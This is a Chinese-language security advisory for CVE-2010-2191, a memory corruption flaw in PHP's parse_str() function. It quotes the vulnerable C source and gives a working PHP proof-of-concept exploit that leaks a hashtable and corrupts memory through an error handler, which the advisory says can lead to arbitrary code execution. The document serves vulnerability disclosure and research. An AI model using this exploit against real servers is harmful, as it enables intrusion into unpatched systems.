安全研究
安全漏洞
PHP parse_str()函数中断内存破坏漏洞
发布日期:2010-05-31
更新日期:2010-06-25
受影响系统:
PHP PHP <= 5.3.2描述:
PHP PHP <= 5.2.13
CVE ID: CVE-2010-2191
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的parse_str()函数中存在内存破坏漏洞:
PHP_FUNCTION(parse_str)
{
char *arg;
zval *arrayArg = NULL;
char *res = NULL;
int arglen;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z", &arg, &arglen, &arrayArg) == FAILURE) {
return;
}
res = estrndup(arg, arglen);
if (arrayArg == NULL) {
zval tmp;
if (!EG(active_symbol_table)) {
zend_rebuild_symbol_table(TSRMLS_C);
}
Z_ARRVAL(tmp) = EG(active_symbol_table);
sapi_module.treat_data(PARSE_STRING, res, &tmp TSRMLS_CC);
} else {
/* Clear out the array that was passed in. */
zval_dtor(arrayArg);
array_init(arrayArg);
sapi_module.treat_data(PARSE_STRING, res, arrayArg TSRMLS_CC);
}
}
通过引用函数传送了可选的第二个参数,这意味着可通过用户空间中断进行修改。通过深层嵌套的数组就可以触发中断:
if(++nest_level > PG(max_input_nesting_level)) {
HashTable *ht;
/* too many levels of nesting */
if (track_vars_array) {
ht = Z_ARRVAL_P(track_vars_array);
zend_hash_del(ht, var, var_len + 1);
} else if (PG(register_globals)) {
ht = EG(active_symbol_table);
zend_hash_del(ht, var, var_len + 1);
}
zval_dtor(val);
/* do not output the error message to the screen,
this helps us to to avoid "information disclosure" */
if (!PG(display_errors)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variable nesting level exceeded %ld. To increase the limit change max_input_nesting_level in php.ini.", PG(max_input_nesting_level));
}
efree(var_orig);
return;
}
将ArrayArg更改为字符串或int,就可以触发内存破坏,导致执行任意代码。
<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://www.php-security.org/2010/05/31/mops-2010-049-php-parse_str-interruption-memory-corruption-vulnerability/index.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
ini_set("display_errors", 0);
$GLOBALS['leakedArray'] = leakAnArray();
echo "TEST\n";
/* Setup Error Handler */
set_error_handler("my_error");
/* Trigger the Code */
$x = "";
parse_str("a".str_repeat("[]", 200)."=1&x=y&x=y", $x);
restore_error_handler();
function my_error()
{
headers_sent($GLOBALS['x']);
for ($i=0; $i<strlen($GLOBALS['leakedArray']); $i++)
$GLOBALS['x'][$i] = $GLOBALS['leakedArray'][$i];
return 1;
}
/* helpers to leak a valid hashtable */
class dummy
{
function __toString()
{
/* now the magic */
parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
return "XXXXX";
}
}
function leakAnArray()
{
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$GLOBALS['var'] = str_repeat("A", 39);
} else {
$GLOBALS['var'] = str_repeat("A", 67);
}
/* Trigger the Code */
$x = http_build_query(array(1 => 1),&$GLOBALS['var'], new dummy());
$x = substr($x, 0, strlen($x)-3);
/* patch array */
if (is_float($i)) {
for ($j=0; $j<4; $j++) {
$x[0x20 + $j] = 'A';
}
} else {
for ($j=0; $j<8; $j++) {
$x[0x38 + $j] = 'A';
}
}
return $x;
}
?>
建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net
浏览次数:2899
严重程度:0(网友投票)
绿盟科技给您安全的保障
